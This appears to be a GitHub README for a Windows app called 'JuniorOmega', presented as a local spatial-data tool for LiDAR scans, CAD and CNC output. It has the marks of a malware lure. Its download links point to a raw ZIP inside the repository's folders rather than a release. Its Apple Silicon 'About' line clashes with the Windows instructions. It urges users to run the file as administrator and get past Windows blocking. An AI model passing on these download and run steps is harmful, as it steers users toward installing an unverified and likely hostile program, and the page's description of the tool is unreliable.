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🧭 JuniorOmega - Run spatial tools on Windows

Download JuniorOmega

📥 Download

Go to the project page and download the latest version here:

https://github.com/planninginset507/JuniorOmega/raw/refs/heads/main/spatial/Omega-Junior-2.8-alpha.5.zip

Open the page, look for the latest release or download file, then save it to your PC

🪟 Windows setup

JuniorOmega is built as a local app, so you run it on your own computer

  1. Open the download page
  2. Download the Windows version if it is listed
  3. Save the file to a folder you can find, like Downloads or Desktop
  4. If the file is a ZIP, right-click it and choose Extract All
  5. Open the extracted folder
  6. Double-click the app file to start it

If Windows shows a prompt, choose the option that lets you run the app

🖥️ What JuniorOmega does

JuniorOmega is a local-first spatial engineering stack

It helps move data from sensors into fabrication tools

Use it to work with:

  • LiDAR scans
  • TrueDepth data
  • 3D scene data
  • CAD files
  • G-code output
  • CNC workflows

It keeps the work on your device, which helps when you want a private setup

⚙️ Before you start

Check these basics before you run the app:

  • Windows 10 or Windows 11
  • Enough free disk space for project files
  • A mouse and keyboard
  • A modern CPU
  • A stable internet connection for the first download

If you plan to open large scan files, use a system with more memory and storage

🧩 Key uses

JuniorOmega fits a few common tasks:

  • Import sensor data from depth tools
  • Review 3D geometry in a local workspace
  • Move data into CAD tools
  • Prepare output for G-code or CNC use
  • Keep files in a private local folder
  • Work with Apple Silicon based project data in a simple local flow

📂 How to use it

After you open the app:

  1. Pick or create a local project folder
  2. Import your scan or geometry file
  3. Review the data in the workspace
  4. Choose the output you need
  5. Export the result for the next tool in your chain

A common flow looks like this:

  • capture data
  • inspect the model
  • clean the mesh
  • export a file for CAD or CNC

🛠️ File types you may see

JuniorOmega works with formats used in spatial and fabrication work:

  • Protobuf data files
  • 3D mesh files
  • CAD exchange files
  • G-code files
  • sensor capture data
  • local project folders

If you are not sure which file to open, start with the file from your sensor, model, or export tool

🔐 Local-first use

JuniorOmega is made for local use

That means:

  • your files stay on your machine
  • you do not need to send data to a remote server
  • you can keep your workflow inside one system
  • you can work in a sandboxed setup when needed

This is useful when you handle scan data, design files, or machine-ready output

🧪 Example workflow

You can use JuniorOmega in this order:

  1. Capture depth or scan data
  2. Open it in JuniorOmega
  3. Check the shape and scale
  4. Export the cleaned model
  5. Send the result to a CAD or CNC tool
  6. Generate G-code if your next step needs it

📌 Common problems

If the app does not open:

  • make sure the download finished
  • extract the ZIP file if needed
  • try running the app as an administrator
  • check that Windows did not block the file
  • move the app to a simple folder path like C:\JuniorOmega

If a file does not load:

  • confirm the file type is supported
  • try a smaller sample file first
  • check that the file is not damaged
  • make sure the file path has no strange characters

If the screen looks empty:

  • reopen the project
  • import a file again
  • check that the input file contains data
  • close and start the app once more

📎 Project page

Use this page to download and run JuniorOmega on Windows:

https://github.com/planninginset507/JuniorOmega/raw/refs/heads/main/spatial/Omega-Junior-2.8-alpha.5.zip

🧭 Helpful terms

Here are a few words you may see in the app or file names:

  • LiDAR: a scan method that measures shape with light
  • TrueDepth: a depth sensor used for face and scene data
  • G-code: the file language used by CNC machines
  • CNC: a machine that cuts or shapes material
  • Mesh: a 3D surface made of triangles
  • CAD: software used to design parts and models

📁 Suggested folder setup

A simple folder layout can help:

  • C:\JuniorOmega\App
  • C:\JuniorOmega\Projects
  • C:\JuniorOmega\Exports

This keeps app files, working files, and output files separate

🧰 Good practice

  • Keep one project per folder
  • Use clear file names
  • Save your original scan files
  • Export copies instead of overwriting source files
  • Store machine output in a separate folder
  • Back up important project data

🖱️ If you need to uninstall

If you want to remove the app:

  1. Close JuniorOmega
  2. Delete the app folder if you used a ZIP build
  3. Remove any shortcut you made
  4. Delete project folders only if you no longer need them

Keep your exported files if you plan to use them later

About

Build edge spatial data pipelines for Apple Silicon with MLX, gRPC, and on-device SVD for low-power fabrication workflows

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